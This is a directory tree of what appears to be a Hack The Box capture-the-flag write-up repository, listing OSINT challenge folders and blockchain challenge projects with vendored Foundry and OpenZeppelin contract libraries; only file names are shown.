├── OSINT
├── Echoes in Stone
│ ├── README.md
│ └── assets
│ │ ├── README.md
│ │ └── Screenshot (1672).png
├── README.md
├── The Mechanical Birds Nest
│ ├── README.md
│ └── assets
│ │ ├── README.md
│ │ └── Screenshot (1665).png
├── The Ancient Citadel
│ ├── README.md
│ └── assets
│ │ ├── README.md
│ │ └── Screenshot (1671).png
├── The Hillside Haven
│ ├── README.md
│ └── assets
│ │ ├── README.md
│ │ └── Screenshot (1733).png
├── The Poisoned Scroll
│ └── README.md
├── The Shadowed Sigil
│ └── README.md
└── The Stone That Whispers
│ ├── README.md
│ └── assets
│ ├── 11111111111111111111111111111.png
│ └── README.md
├── README.md
├── assets
├── banner.png
├── htb.png
└── logo_htb.png
├── blockchain
├── EldoriaGate [Medium]
│ ├── README.md
│ ├── assets
│ │ ├── ChallengeBanner.png
│ │ └── EventBanner.jpg
│ └── htb
│ │ ├── .gitignore
│ │ ├── requirements.txt
│ │ └── solver.py
├── Eldorion [Very Easy]
│ ├── README.md
│ ├── assets
│ │ ├── ChallengeBanner.png
│ │ └── EventBanner.jpg
│ └── htb
│ │ ├── .gitignore
│ │ ├── contracts
│ │ ├── cache
│ │ │ └── solidity-files-cache.json
│ │ ├── foundry.toml
│ │ ├── lib
│ │ │ ├── forge-std
│ │ │ │ ├── .gitattributes
│ │ │ │ ├── .github
│ │ │ │ │ └── workflows
│ │ │ │ │ │ ├── ci.yml
│ │ │ │ │ │ └── sync.yml
│ │ │ │ ├── .gitignore
│ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ ├── LICENSE-APACHE
│ │ │ │ ├── LICENSE-MIT
│ │ │ │ ├── README.md
│ │ │ │ ├── foundry.toml
│ │ │ │ ├── package.json
│ │ │ │ ├── scripts
│ │ │ │ │ └── vm.py
│ │ │ │ └── test
│ │ │ │ │ ├── StdAssertions.t.sol
│ │ │ │ │ ├── StdChains.t.sol
│ │ │ │ │ ├── StdCheats.t.sol
│ │ │ │ │ ├── StdError.t.sol
│ │ │ │ │ ├── StdJson.t.sol
│ │ │ │ │ ├── StdMath.t.sol
│ │ │ │ │ ├── StdStorage.t.sol
│ │ │ │ │ ├── StdStyle.t.sol
│ │ │ │ │ ├── StdToml.t.sol
│ │ │ │ │ ├── StdUtils.t.sol
│ │ │ │ │ ├── Vm.t.sol
│ │ │ │ │ ├── compilation
│ │ │ │ │ ├── CompilationScript.sol
│ │ │ │ │ ├── CompilationScriptBase.sol
│ │ │ │ │ ├── CompilationTest.sol
│ │ │ │ │ └── CompilationTestBase.sol
│ │ │ │ │ ├── fixtures
│ │ │ │ │ ├── broadcast.log.json
│ │ │ │ │ ├── test.json
│ │ │ │ │ └── test.toml
│ │ │ │ │ └── mocks
│ │ │ │ │ ├── MockERC20.t.sol
│ │ │ │ │ └── MockERC721.t.sol
│ │ │ └── openzeppelin-contracts-upgradeable
│ │ │ │ ├── .changeset
│ │ │ │ ├── config.json
│ │ │ │ ├── eighty-hounds-promise.md
│ │ │ │ ├── four-chairs-help.md
│ │ │ │ ├── great-lions-hear.md
│ │ │ │ ├── healthy-books-shout.md
│ │ │ │ ├── hot-shrimps-wait.md
│ │ │ │ ├── lovely-dodos-lay.md
│ │ │ │ ├── pink-wasps-hammer.md
│ │ │ │ ├── proud-planes-arrive.md
│ │ │ │ ├── seven-donkeys-tap.md
│ │ │ │ ├── small-seahorses-bathe.md
│ │ │ │ ├── tricky-bats-pretend.md
│ │ │ │ └── weak-roses-bathe.md
│ │ │ │ ├── .codecov.yml
│ │ │ │ ├── .editorconfig
│ │ │ │ ├── .githooks
│ │ │ │ └── pre-push
│ │ │ │ ├── .github
│ │ │ │ ├── ISSUE_TEMPLATE
│ │ │ │ │ └── config.yml
│ │ │ │ ├── PULL_REQUEST_TEMPLATE.md
│ │ │ │ ├── actions
│ │ │ │ │ ├── gas-compare
│ │ │ │ │ │ └── action.yml
│ │ │ │ │ ├── setup
│ │ │ │ │ │ └── action.yml
│ │ │ │ │ └── storage-layout
│ │ │ │ │ │ └── action.yml
│ │ │ │ └── workflows
│ │ │ │ │ ├── actionlint.yml
│ │ │ │ │ ├── changeset.yml
│ │ │ │ │ ├── checks.yml
│ │ │ │ │ ├── docs.yml
│ │ │ │ │ ├── formal-verification.yml
│ │ │ │ │ ├── release-cycle.yml
│ │ │ │ │ └── upgradeable.yml
│ │ │ │ ├── .gitignore
│ │ │ │ ├── .gitmodules
│ │ │ │ ├── .mocharc.js
│ │ │ │ ├── .prettierrc
│ │ │ │ ├── .solcover.js
│ │ │ │ ├── CHANGELOG.md
│ │ │ │ ├── CODE_OF_CONDUCT.md
│ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ ├── FUNDING.json
│ │ │ │ ├── GUIDELINES.md
│ │ │ │ ├── LICENSE
│ │ │ │ ├── README.md
│ │ │ │ ├── RELEASING.md
│ │ │ │ ├── SECURITY.md
│ │ │ │ ├── audits
│ │ │ │ ├── 2017-03.md
│ │ │ │ ├── 2018-10.pdf
│ │ │ │ ├── 2022-10-Checkpoints.pdf
│ │ │ │ ├── 2022-10-ERC4626.pdf
│ │ │ │ ├── 2023-05-v4.9.pdf
│ │ │ │ ├── 2023-10-v5.0.pdf
│ │ │ │ ├── 2024-10-v5.1.pdf
│ │ │ │ └── README.md
│ │ │ │ ├── certora
│ │ │ │ ├── .gitignore
│ │ │ │ ├── Makefile
│ │ │ │ ├── README.md
│ │ │ │ ├── diff
│ │ │ │ │ └── access_manager_AccessManager.sol.patch
│ │ │ │ ├── harnesses
│ │ │ │ │ ├── AccessControlDefaultAdminRulesHarness.sol
│ │ │ │ │ ├── AccessControlHarness.sol
│ │ │ │ │ ├── AccessManagedHarness.sol
│ │ │ │ │ ├── AccessManagerHarness.sol
│ │ │ │ │ ├── DoubleEndedQueueHarness.sol
│ │ │ │ │ ├── ERC20FlashMintHarness.sol
│ │ │ │ │ ├── ERC20PermitHarness.sol
│ │ │ │ │ ├── ERC20WrapperHarness.sol
│ │ │ │ │ ├── ERC3156FlashBorrowerHarness.sol
│ │ │ │ │ ├── ERC721Harness.sol
│ │ │ │ │ ├── ERC721ReceiverHarness.sol
│ │ │ │ │ ├── EnumerableMapHarness.sol
│ │ │ │ │ ├── EnumerableSetHarness.sol
│ │ │ │ │ ├── InitializableHarness.sol
│ │ │ │ │ ├── NoncesHarness.sol
│ │ │ │ │ ├── Ownable2StepHarness.sol
│ │ │ │ │ ├── OwnableHarness.sol
│ │ │ │ │ ├── PausableHarness.sol
│ │ │ │ │ └── TimelockControllerHarness.sol
│ │ │ │ ├── reports
│ │ │ │ │ ├── 2021-10.pdf
│ │ │ │ │ ├── 2022-03.pdf
│ │ │ │ │ └── 2022-05.pdf
│ │ │ │ ├── run.js
│ │ │ │ ├── specs.json
│ │ │ │ └── specs
│ │ │ │ │ ├── AccessControl.spec
│ │ │ │ │ ├── AccessControlDefaultAdminRules.spec
│ │ │ │ │ ├── AccessManaged.spec
│ │ │ │ │ ├── AccessManager.spec
│ │ │ │ │ ├── DoubleEndedQueue.spec
│ │ │ │ │ ├── ERC20.spec
│ │ │ │ │ ├── ERC20FlashMint.spec
│ │ │ │ │ ├── ERC20Wrapper.spec
│ │ │ │ │ ├── ERC721.spec
│ │ │ │ │ ├── EnumerableMap.spec
│ │ │ │ │ ├── EnumerableSet.spec
│ │ │ │ │ ├── Initializable.spec
│ │ │ │ │ ├── Nonces.spec
│ │ │ │ │ ├── Ownable.spec
│ │ │ │ │ ├── Ownable2Step.spec
│ │ │ │ │ ├── Pausable.spec
│ │ │ │ │ ├── TimelockController.spec
│ │ │ │ │ ├── helpers
│ │ │ │ │ └── helpers.spec
│ │ │ │ │ └── methods
│ │ │ │ │ ├── IAccessControl.spec
│ │ │ │ │ ├── IAccessControlDefaultAdminRules.spec
│ │ │ │ │ ├── IAccessManaged.spec
│ │ │ │ │ ├── IAccessManager.spec
│ │ │ │ │ ├── IERC20.spec
│ │ │ │ │ ├── IERC2612.spec
│ │ │ │ │ ├── IERC3156FlashBorrower.spec
│ │ │ │ │ ├── IERC3156FlashLender.spec
│ │ │ │ │ ├── IERC5313.spec
│ │ │ │ │ ├── IERC721.spec
│ │ │ │ │ ├── IERC721Receiver.spec
│ │ │ │ │ ├── IOwnable.spec
│ │ │ │ │ └── IOwnable2Step.spec
│ │ │ │ ├── contracts
│ │ │ │ ├── access
│ │ │ │ │ ├── AccessControlUpgradeable.sol
│ │ │ │ │ ├── Ownable2StepUpgradeable.sol
│ │ │ │ │ ├── OwnableUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── AccessControlDefaultAdminRulesUpgradeable.sol
│ │ │ │ │ │ └── AccessControlEnumerableUpgradeable.sol
│ │ │ │ │ └── manager
│ │ │ │ │ │ ├── AccessManagedUpgradeable.sol
│ │ │ │ │ │ └── AccessManagerUpgradeable.sol
│ │ │ │ ├── account
│ │ │ │ │ └── README.adoc
│ │ │ │ ├── finance
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── VestingWalletCliffUpgradeable.sol
│ │ │ │ │ └── VestingWalletUpgradeable.sol
│ │ │ │ ├── governance
│ │ │ │ │ ├── GovernorUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── TimelockControllerUpgradeable.sol
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── GovernorCountingFractionalUpgradeable.sol
│ │ │ │ │ │ ├── GovernorCountingOverridableUpgradeable.sol
│ │ │ │ │ │ ├── GovernorCountingSimpleUpgradeable.sol
│ │ │ │ │ │ ├── GovernorPreventLateQuorumUpgradeable.sol
│ │ │ │ │ │ ├── GovernorSettingsUpgradeable.sol
│ │ │ │ │ │ ├── GovernorStorageUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockAccessUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockCompoundUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockControlUpgradeable.sol
│ │ │ │ │ │ ├── GovernorVotesQuorumFractionUpgradeable.sol
│ │ │ │ │ │ └── GovernorVotesUpgradeable.sol
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── VotesExtendedUpgradeable.sol
│ │ │ │ │ │ └── VotesUpgradeable.sol
│ │ │ │ ├── interfaces
│ │ │ │ │ └── README.adoc
│ │ │ │ ├── metatx
│ │ │ │ │ ├── ERC2771ContextUpgradeable.sol
│ │ │ │ │ ├── ERC2771ForwarderUpgradeable.sol
│ │ │ │ │ └── README.adoc
│ │ │ │ ├── mocks
│ │ │ │ │ ├── AccessManagedTargetUpgradeable.sol
│ │ │ │ │ ├── AccessManagerMockUpgradeable.sol
│ │ │ │ │ ├── ArraysMockUpgradeable.sol
│ │ │ │ │ ├── AuthorityMockUpgradeable.sol
│ │ │ │ │ ├── Base64DirtyUpgradeable.sol
│ │ │ │ │ ├── BatchCallerUpgradeable.sol
│ │ │ │ │ ├── CallReceiverMockUpgradeable.sol
│ │ │ │ │ ├── ConstructorMockUpgradeable.sol
│ │ │ │ │ ├── ContextMockUpgradeable.sol
│ │ │ │ │ ├── DummyImplementationUpgradeable.sol
│ │ │ │ │ ├── EIP712VerifierUpgradeable.sol
│ │ │ │ │ ├── ERC1271WalletMockUpgradeable.sol
│ │ │ │ │ ├── ERC165
│ │ │ │ │ │ ├── ERC165InterfacesSupportedUpgradeable.sol
│ │ │ │ │ │ ├── ERC165MaliciousDataUpgradeable.sol
│ │ │ │ │ │ ├── ERC165MissingDataUpgradeable.sol
│ │ │ │ │ │ ├── ERC165NotSupportedUpgradeable.sol
│ │ │ │ │ │ └── ERC165ReturnBombUpgradeable.sol
│ │ │ │ │ ├── ERC2771ContextMockUpgradeable.sol
│ │ │ │ │ ├── ERC3156FlashBorrowerMockUpgradeable.sol
│ │ │ │ │ ├── EtherReceiverMockUpgradeable.sol
│ │ │ │ │ ├── InitializableMock.sol
│ │ │ │ │ ├── MerkleProofCustomHashMockUpgradeable.sol
│ │ │ │ │ ├── MerkleTreeMockUpgradeable.sol
│ │ │ │ │ ├── MulticallHelperUpgradeable.sol
│ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol
│ │ │ │ │ ├── PausableMockUpgradeable.sol
│ │ │ │ │ ├── ReentrancyAttackUpgradeable.sol
│ │ │ │ │ ├── ReentrancyMockUpgradeable.sol
│ │ │ │ │ ├── ReentrancyTransientMockUpgradeable.sol
│ │ │ │ │ ├── RegressionImplementation.sol
│ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol
│ │ │ │ │ ├── StatelessUpgradeable.sol
│ │ │ │ │ ├── StorageSlotMockUpgradeable.sol
│ │ │ │ │ ├── TimelockReentrantUpgradeable.sol
│ │ │ │ │ ├── TransientSlotMockUpgradeable.sol
│ │ │ │ │ ├── UpgradeableBeaconMockUpgradeable.sol
│ │ │ │ │ ├── VotesExtendedMockUpgradeable.sol
│ │ │ │ │ ├── VotesMockUpgradeable.sol
│ │ │ │ │ ├── WithInit.sol
│ │ │ │ │ ├── account
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ └── ERC7579UtilsMockUpgradeable.sol
│ │ │ │ │ ├── compound
│ │ │ │ │ │ └── CompTimelockUpgradeable.sol
│ │ │ │ │ ├── docs
│ │ │ │ │ │ ├── ERC20WithAutoMinerRewardUpgradeable.sol
│ │ │ │ │ │ ├── ERC4626FeesUpgradeable.sol
│ │ │ │ │ │ ├── MyNFTUpgradeable.sol
│ │ │ │ │ │ ├── access-control
│ │ │ │ │ │ │ ├── AccessControlERC20MintBaseUpgradeable.sol
│ │ │ │ │ │ │ ├── AccessControlERC20MintMissingUpgradeable.sol
│ │ │ │ │ │ │ ├── AccessControlERC20MintOnlyRoleUpgradeable.sol
│ │ │ │ │ │ │ ├── AccessControlModifiedUpgradeable.sol
│ │ │ │ │ │ │ ├── AccessControlNonRevokableAdminUpgradeable.sol
│ │ │ │ │ │ │ ├── AccessManagedERC20MintBaseUpgradeable.sol
│ │ │ │ │ │ │ └── MyContractOwnableUpgradeable.sol
│ │ │ │ │ │ ├── governance
│ │ │ │ │ │ │ ├── MyGovernorUpgradeable.sol
│ │ │ │ │ │ │ ├── MyTokenTimestampBasedUpgradeable.sol
│ │ │ │ │ │ │ ├── MyTokenUpgradeable.sol
│ │ │ │ │ │ │ └── MyTokenWrappedUpgradeable.sol
│ │ │ │ │ │ ├── token
│ │ │ │ │ │ │ ├── ERC1155
│ │ │ │ │ │ │ │ ├── GameItemsUpgradeable.sol
│ │ │ │ │ │ │ │ └── MyERC115HolderContractUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20
│ │ │ │ │ │ │ │ └── GLDTokenUpgradeable.sol
│ │ │ │ │ │ │ └── ERC721
│ │ │ │ │ │ │ │ └── GameItemUpgradeable.sol
│ │ │ │ │ │ └── utilities
│ │ │ │ │ │ │ ├── Base64NFTUpgradeable.sol
│ │ │ │ │ │ │ └── MulticallUpgradeable.sol
│ │ │ │ │ ├── governance
│ │ │ │ │ │ ├── GovernorCountingOverridableMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorFractionalMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorPreventLateQuorumMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorStorageMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockAccessMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockCompoundMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorTimelockControlMockUpgradeable.sol
│ │ │ │ │ │ ├── GovernorVoteMockUpgradeable.sol
│ │ │ │ │ │ └── GovernorWithParamsMockUpgradeable.sol
│ │ │ │ │ ├── proxy
│ │ │ │ │ │ ├── BadBeaconUpgradeable.sol
│ │ │ │ │ │ ├── ClashingImplementationUpgradeable.sol
│ │ │ │ │ │ └── UUPSUpgradeableMockUpgradeable.sol
│ │ │ │ │ └── token
│ │ │ │ │ │ ├── ERC1155ReceiverMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC1363ForceApproveMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC1363NoReturnMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC1363ReceiverMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC1363ReturnFalseMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC1363SpenderMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20ApprovalMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20DecimalsMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20ExcessDecimalsMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20FlashMintMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20ForceApproveMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20GetterHelperUpgradeable.sol
│ │ │ │ │ │ ├── ERC20MockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20MulticallMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20NoReturnMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20ReentrantUpgradeable.sol
│ │ │ │ │ │ ├── ERC20ReturnFalseMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20VotesAdditionalCheckpointsMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20VotesLegacyMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC20VotesTimestampMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC4626LimitsMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC4626MockUpgradeable.sol
│ │ │ │ │ │ ├── ERC4626OffsetMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC4646FeesMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC721ConsecutiveEnumerableMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC721ConsecutiveMockUpgradeable.sol
│ │ │ │ │ │ ├── ERC721ReceiverMockUpgradeable.sol
│ │ │ │ │ │ └── ERC721URIStorageMockUpgradeable.sol
│ │ │ │ ├── package.json
│ │ │ │ ├── proxy
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── Initializable.sol
│ │ │ │ │ │ └── UUPSUpgradeable.sol
│ │ │ │ ├── token
│ │ │ │ │ ├── ERC1155
│ │ │ │ │ │ ├── ERC1155Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── ERC1155BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC1155PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC1155SupplyUpgradeable.sol
│ │ │ │ │ │ │ └── ERC1155URIStorageUpgradeable.sol
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ └── ERC1155HolderUpgradeable.sol
│ │ │ │ │ ├── ERC20
│ │ │ │ │ │ ├── ERC20Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── extensions
│ │ │ │ │ │ │ ├── ERC1363Upgradeable.sol
│ │ │ │ │ │ │ ├── ERC20BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20CappedUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20FlashMintUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20PermitUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20VotesUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20WrapperUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC4626Upgradeable.sol
│ │ │ │ │ │ │ └── draft-ERC20TemporaryApprovalUpgradeable.sol
│ │ │ │ │ ├── ERC721
│ │ │ │ │ │ ├── ERC721Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── ERC721BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721ConsecutiveUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721EnumerableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721RoyaltyUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721URIStorageUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721VotesUpgradeable.sol
│ │ │ │ │ │ │ └── ERC721WrapperUpgradeable.sol
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ └── ERC721HolderUpgradeable.sol
│ │ │ │ │ └── common
│ │ │ │ │ │ ├── ERC2981Upgradeable.sol
│ │ │ │ │ │ └── README.adoc
│ │ │ │ ├── utils
│ │ │ │ │ ├── ContextUpgradeable.sol
│ │ │ │ │ ├── MulticallUpgradeable.sol
│ │ │ │ │ ├── NoncesKeyedUpgradeable.sol
│ │ │ │ │ ├── NoncesUpgradeable.sol
│ │ │ │ │ ├── PausableUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── ReentrancyGuardTransientUpgradeable.sol
│ │ │ │ │ ├── ReentrancyGuardUpgradeable.sol
│ │ │ │ │ ├── cryptography
│ │ │ │ │ │ └── EIP712Upgradeable.sol
│ │ │ │ │ └── introspection
│ │ │ │ │ │ └── ERC165Upgradeable.sol
│ │ │ │ └── vendor
│ │ │ │ │ └── compound
│ │ │ │ │ └── LICENSE
│ │ │ │ ├── docs
│ │ │ │ ├── README.md
│ │ │ │ ├── antora.yml
│ │ │ │ ├── config.js
│ │ │ │ ├── modules
│ │ │ │ │ └── ROOT
│ │ │ │ │ │ ├── images
│ │ │ │ │ │ ├── access-control-multiple.svg
│ │ │ │ │ │ ├── access-manager-functions.svg
│ │ │ │ │ │ ├── access-manager.svg
│ │ │ │ │ │ ├── erc4626-attack-3a.png
│ │ │ │ │ │ ├── erc4626-attack-3b.png
│ │ │ │ │ │ ├── erc4626-attack-6.png
│ │ │ │ │ │ ├── erc4626-attack.png
│ │ │ │ │ │ ├── erc4626-deposit.png
│ │ │ │ │ │ ├── erc4626-mint.png
│ │ │ │ │ │ ├── erc4626-rate-linear.png
│ │ │ │ │ │ ├── erc4626-rate-loglog.png
│ │ │ │ │ │ ├── erc4626-rate-loglogext.png
│ │ │ │ │ │ ├── tally-exec.png
│ │ │ │ │ │ └── tally-vote.png
│ │ │ │ │ │ ├── nav.adoc
│ │ │ │ │ │ └── pages
│ │ │ │ │ │ ├── access-control.adoc
│ │ │ │ │ │ ├── backwards-compatibility.adoc
│ │ │ │ │ │ ├── crowdsales.adoc
│ │ │ │ │ │ ├── drafts.adoc
│ │ │ │ │ │ ├── erc1155.adoc
│ │ │ │ │ │ ├── erc20-supply.adoc
│ │ │ │ │ │ ├── erc20.adoc
│ │ │ │ │ │ ├── erc4626.adoc
│ │ │ │ │ │ ├── erc721.adoc
│ │ │ │ │ │ ├── extending-contracts.adoc
│ │ │ │ │ │ ├── faq.adoc
│ │ │ │ │ │ ├── governance.adoc
│ │ │ │ │ │ ├── index.adoc
│ │ │ │ │ │ ├── tokens.adoc
│ │ │ │ │ │ ├── upgradeable.adoc
│ │ │ │ │ │ ├── utilities.adoc
│ │ │ │ │ │ └── wizard.adoc
│ │ │ │ └── templates
│ │ │ │ │ ├── contract.hbs
│ │ │ │ │ ├── helpers.js
│ │ │ │ │ ├── page.hbs
│ │ │ │ │ └── properties.js
│ │ │ │ ├── eslint.config.mjs
│ │ │ │ ├── foundry.toml
│ │ │ │ ├── fv-requirements.txt
│ │ │ │ ├── hardhat.config.js
│ │ │ │ ├── hardhat
│ │ │ │ ├── async-test-sanity.js
│ │ │ │ ├── env-artifacts.js
│ │ │ │ ├── ignore-unreachable-warnings.js
│ │ │ │ ├── remappings.js
│ │ │ │ ├── skip-foundry-tests.js
│ │ │ │ └── task-test-get-files.js
│ │ │ │ ├── lib
│ │ │ │ ├── erc4626-tests
│ │ │ │ │ ├── ERC4626.prop.sol
│ │ │ │ │ ├── ERC4626.test.sol
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ └── README.md
│ │ │ │ ├── forge-std
│ │ │ │ │ ├── .gitattributes
│ │ │ │ │ ├── .github
│ │ │ │ │ │ └── workflows
│ │ │ │ │ │ │ ├── ci.yml
│ │ │ │ │ │ │ └── sync.yml
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ │ ├── LICENSE-APACHE
│ │ │ │ │ ├── LICENSE-MIT
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── foundry.toml
│ │ │ │ │ ├── package.json
│ │ │ │ │ ├── scripts
│ │ │ │ │ │ └── vm.py
│ │ │ │ │ └── test
│ │ │ │ │ │ ├── StdAssertions.t.sol
│ │ │ │ │ │ ├── StdChains.t.sol
│ │ │ │ │ │ ├── StdCheats.t.sol
│ │ │ │ │ │ ├── StdError.t.sol
│ │ │ │ │ │ ├── StdJson.t.sol
│ │ │ │ │ │ ├── StdMath.t.sol
│ │ │ │ │ │ ├── StdStorage.t.sol
│ │ │ │ │ │ ├── StdStyle.t.sol
│ │ │ │ │ │ ├── StdToml.t.sol
│ │ │ │ │ │ ├── StdUtils.t.sol
│ │ │ │ │ │ ├── Vm.t.sol
│ │ │ │ │ │ ├── compilation
│ │ │ │ │ │ ├── CompilationScript.sol
│ │ │ │ │ │ ├── CompilationScriptBase.sol
│ │ │ │ │ │ ├── CompilationTest.sol
│ │ │ │ │ │ └── CompilationTestBase.sol
│ │ │ │ │ │ ├── fixtures
│ │ │ │ │ │ ├── broadcast.log.json
│ │ │ │ │ │ ├── test.json
│ │ │ │ │ │ └── test.toml
│ │ │ │ │ │ └── mocks
│ │ │ │ │ │ ├── MockERC20.t.sol
│ │ │ │ │ │ └── MockERC721.t.sol
│ │ │ │ ├── halmos-cheatcodes
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ └── README.md
│ │ │ │ └── openzeppelin-contracts
│ │ │ │ │ ├── .changeset
│ │ │ │ │ ├── config.json
│ │ │ │ │ ├── eighty-hounds-promise.md
│ │ │ │ │ ├── four-chairs-help.md
│ │ │ │ │ ├── great-lions-hear.md
│ │ │ │ │ ├── healthy-books-shout.md
│ │ │ │ │ ├── hot-shrimps-wait.md
│ │ │ │ │ ├── lovely-dodos-lay.md
│ │ │ │ │ ├── pink-wasps-hammer.md
│ │ │ │ │ ├── proud-planes-arrive.md
│ │ │ │ │ ├── seven-donkeys-tap.md
│ │ │ │ │ ├── small-seahorses-bathe.md
│ │ │ │ │ ├── tricky-bats-pretend.md
│ │ │ │ │ └── weak-roses-bathe.md
│ │ │ │ │ ├── .codecov.yml
│ │ │ │ │ ├── .editorconfig
│ │ │ │ │ ├── .githooks
│ │ │ │ │ └── pre-push
│ │ │ │ │ ├── .github
│ │ │ │ │ ├── ISSUE_TEMPLATE
│ │ │ │ │ │ ├── bug_report.md
│ │ │ │ │ │ ├── config.yml
│ │ │ │ │ │ └── feature_request.md
│ │ │ │ │ ├── PULL_REQUEST_TEMPLATE.md
│ │ │ │ │ ├── actions
│ │ │ │ │ │ ├── gas-compare
│ │ │ │ │ │ │ └── action.yml
│ │ │ │ │ │ ├── setup
│ │ │ │ │ │ │ └── action.yml
│ │ │ │ │ │ └── storage-layout
│ │ │ │ │ │ │ └── action.yml
│ │ │ │ │ └── workflows
│ │ │ │ │ │ ├── actionlint.yml
│ │ │ │ │ │ ├── changeset.yml
│ │ │ │ │ │ ├── checks.yml
│ │ │ │ │ │ ├── docs.yml
│ │ │ │ │ │ ├── formal-verification.yml
│ │ │ │ │ │ ├── release-cycle.yml
│ │ │ │ │ │ └── upgradeable.yml
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── .gitmodules
│ │ │ │ │ ├── .mocharc.js
│ │ │ │ │ ├── .prettierrc
│ │ │ │ │ ├── .solcover.js
│ │ │ │ │ ├── CHANGELOG.md
│ │ │ │ │ ├── CODE_OF_CONDUCT.md
│ │ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ │ ├── FUNDING.json
│ │ │ │ │ ├── GUIDELINES.md
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── RELEASING.md
│ │ │ │ │ ├── SECURITY.md
│ │ │ │ │ ├── audits
│ │ │ │ │ ├── 2017-03.md
│ │ │ │ │ ├── 2018-10.pdf
│ │ │ │ │ ├── 2022-10-Checkpoints.pdf
│ │ │ │ │ ├── 2022-10-ERC4626.pdf
│ │ │ │ │ ├── 2023-05-v4.9.pdf
│ │ │ │ │ ├── 2023-10-v5.0.pdf
│ │ │ │ │ ├── 2024-10-v5.1.pdf
│ │ │ │ │ └── README.md
│ │ │ │ │ ├── certora
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── diff
│ │ │ │ │ │ └── access_manager_AccessManager.sol.patch
│ │ │ │ │ ├── harnesses
│ │ │ │ │ │ ├── AccessControlDefaultAdminRulesHarness.sol
│ │ │ │ │ │ ├── AccessControlHarness.sol
│ │ │ │ │ │ ├── AccessManagedHarness.sol
│ │ │ │ │ │ ├── AccessManagerHarness.sol
│ │ │ │ │ │ ├── DoubleEndedQueueHarness.sol
│ │ │ │ │ │ ├── ERC20FlashMintHarness.sol
│ │ │ │ │ │ ├── ERC20PermitHarness.sol
│ │ │ │ │ │ ├── ERC20WrapperHarness.sol
│ │ │ │ │ │ ├── ERC3156FlashBorrowerHarness.sol
│ │ │ │ │ │ ├── ERC721Harness.sol
│ │ │ │ │ │ ├── ERC721ReceiverHarness.sol
│ │ │ │ │ │ ├── EnumerableMapHarness.sol
│ │ │ │ │ │ ├── EnumerableSetHarness.sol
